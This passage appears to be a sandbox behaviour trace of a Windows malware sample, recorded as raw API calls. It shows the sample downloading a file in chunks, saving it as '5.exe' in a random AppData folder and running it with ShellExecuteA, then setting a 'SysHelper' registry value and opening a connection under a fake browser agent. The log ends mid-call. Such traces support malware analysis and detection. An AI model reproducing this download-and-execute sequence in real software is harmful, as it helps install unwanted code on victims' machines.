[0051.174] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x60) returned 0x3165f28 [0051.174] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6b8 [0051.175] SetFilePointer (in: hFile=0x6b8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.175] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.237] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.238] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.238] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.239] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.239] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.240] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.298] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.298] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.299] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.299] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.301] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.302] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.303] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.303] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.306] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.306] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.307] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.307] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.360] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.360] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.363] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.363] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.364] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.364] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.368] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.368] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.369] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.369] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.371] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.371] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.372] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.372] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.375] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.375] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.377] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.378] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.378] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.379] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.422] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.422] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.423] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.423] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.423] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.423] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.428] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.428] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.428] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.429] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.432] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.432] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.434] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.436] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.436] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.436] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.438] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.438] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.439] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.440] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.440] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.440] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.443] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.443] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.445] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.445] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.448] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.448] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.449] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.449] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.452] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.453] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.457] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.457] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.458] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.458] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.459] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.459] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.460] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.460] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x2800) returned 1 [0051.461] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.461] InternetReadFile (in: hFile=0xcc0024, lpBuffer=0x9a5d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x9a5d6d8 | out: lpBuffer=0x9a5d778*, lpdwNumberOfBytesRead=0x9a5d6d8*=0x1a00) returned 1 [0051.532] WriteFile (in: hFile=0x6b8, lpBuffer=0x9a5d778*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x9a5d6dc, lpOverlapped=0x0 | out: lpBuffer=0x9a5d778*, lpNumberOfBytesWritten=0x9a5d6dc*=0x1a00, lpOverlapped=0x0) returned 1 [0051.532] CloseHandle (hObject=0x6b8) returned 1 [0051.536] InternetCloseHandle (hInternet=0xcc0024) returned 1 [0051.543] InternetCloseHandle (hInternet=0xcc001c) returned 1 [0051.543] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\14eec914-0e8f-4440-8677-a8df15bdfc40\\5.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3165f28 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3177140 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d2620 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080748 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d2218 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3093fb8 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094000 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3094048 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30802e8 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30804a8 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3080438 | out: hHeap=0x6d0000) returned 1 [0051.595] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x3036ff8 | out: hHeap=0x6d0000) returned 1 [0051.596] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30a3180 | out: hHeap=0x6d0000) returned 1 [0051.596] HeapFree (in: hHeap=0x6d0000, dwFlags=0x0, lpMem=0x30d1e50 | out: hHeap=0x6d0000) returned 1 Thread: id = 45 os_tid = 0xaf8 [0047.537] timeGetTime () returned 0x1ad9c [0047.537] GetLastError () returned 0x54f [0047.537] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x8, Size=0x3bc) returned 0x30cffe0 [0047.537] GetCurrentThreadId () returned 0xaf8 [0047.537] SetLastError (dwErrCode=0x54f) [0047.537] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion", ulOptions=0x0, samDesired=0xf003f, phkResult=0xfc5a6e4 | out: phkResult=0xfc5a6e4*=0x5c8) returned 0x0 [0047.537] RegQueryValueExW (in: hKey=0x5c8, lpValueName="SysHelper", lpReserved=0x0, lpType=0xfc5a6d8, lpData=0xfc5a6e0, lpcbData=0xfc5a6dc*=0x4 | out: lpType=0xfc5a6d8*=0x0, lpData=0xfc5a6e0*=0x0, lpcbData=0xfc5a6dc*=0x4) returned 0x2 [0047.537] RegSetValueExW (in: hKey=0x5c8, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0xfc5a6e0*=0x1, cbData=0x4 | out: lpData=0xfc5a6e0*=0x1) returned 0x0 [0047.537] RegCloseKey (hKey=0x5c8) returned 0x0 [0047.537] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0047.537] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x90) returned 0x2fe6290 [0047.537] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x30) returned 0x3080710 [0047.537] RtlAllocateHeap (HeapHandle=0x6d0000, Flags=0x0, Size=0x840) returned 0x30d03a8 [0047.537] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3080710, cbMultiByte=-1, lpWideCharStr=0x30d03a8, cchWideChar=1056 | out: lpWideCharStr="6F1FD8FD0D4976892B2858396FD186FE") returned 33 [0047.537] RtlAllocateHeap 